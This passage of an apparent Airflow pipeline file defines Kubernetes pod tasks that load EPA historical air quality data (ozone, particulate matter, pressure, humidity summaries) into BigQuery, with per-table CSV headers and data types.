"state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod ozone_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="ozone_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.ozone_hourly_summary.source_url }}", "START_YEAR": "1980", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.ozone_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.ozone_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.ozone_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.ozone_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - ozone_hourly_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod pm10_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="pm10_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.pm10_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.pm10_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.pm10_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.pm10_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.pm10_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - pm10_daily_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod pm10_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="pm10_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.pm10_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.pm10_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.pm10_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.pm10_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.pm10_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - pm10_hourly_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod pm25_frm_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="pm25_frm_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.pm25_frm_hourly_summary.source_url }}", "START_YEAR": "1980", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.pm25_frm_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.pm25_frm_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.pm25_frm_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.pm25_frm_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - pm25_frm_hourly_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod pm25_nonfrm_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="pm25_nonfrm_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.pm25_nonfrm_daily_summary.source_url }}", "START_YEAR": "1980", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.pm25_nonfrm_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.pm25_nonfrm_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.pm25_nonfrm_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.pm25_nonfrm_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - pm25_nonfrm_daily_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod pm25_nonfrm_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="pm25_nonfrm_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.pm25_nonfrm_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.pm25_nonfrm_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.pm25_nonfrm_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.pm25_nonfrm_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.pm25_nonfrm_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - pm25_nonfrm_hourly_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod pm25_speciation_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="pm25_speciation_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.pm25_speciation_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.pm25_speciation_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.pm25_speciation_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.pm25_speciation_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.pm25_speciation_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - pm25_speciation_daily_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod pm25_speciation_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="pm25_speciation_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.pm25_speciation_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.pm25_speciation_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.pm25_speciation_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.pm25_speciation_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.pm25_speciation_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - pm25_speciation_hourly_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod pressure_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="pressure_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.pressure_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.pressure_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.pressure_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.pressure_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.pressure_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - pressure_daily_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod pressure_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="pressure_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.pressure_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.pressure_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.pressure_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.pressure_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.pressure_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - pressure_hourly_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod rh_and_dp_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="rh_and_dp_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.rh_and_dp_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.rh_and_dp_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.rh_and_dp_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.rh_and_dp_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.rh_and_dp_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - rh_and_dp_daily_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": 